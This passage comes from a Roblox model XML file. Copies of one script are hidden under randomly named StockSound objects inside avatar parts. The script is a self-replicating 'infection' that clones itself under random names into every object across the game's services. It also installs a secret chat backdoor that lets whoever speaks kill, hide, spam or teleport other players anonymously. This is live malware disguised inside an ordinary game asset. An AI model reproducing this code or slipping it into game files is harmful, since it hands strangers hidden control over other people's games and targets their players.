if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX490">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-29.5244141</X>
								<Y>3.28031659</Y>
								<Z>117.874496</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX491">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">x66b1q</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX492">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ipf7</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX493">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-30.4508057</X>
								<Y>3.28031659</Y>
								<Z>120.727875</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX494">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">i16hb1i</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX495">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">34lt95x</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
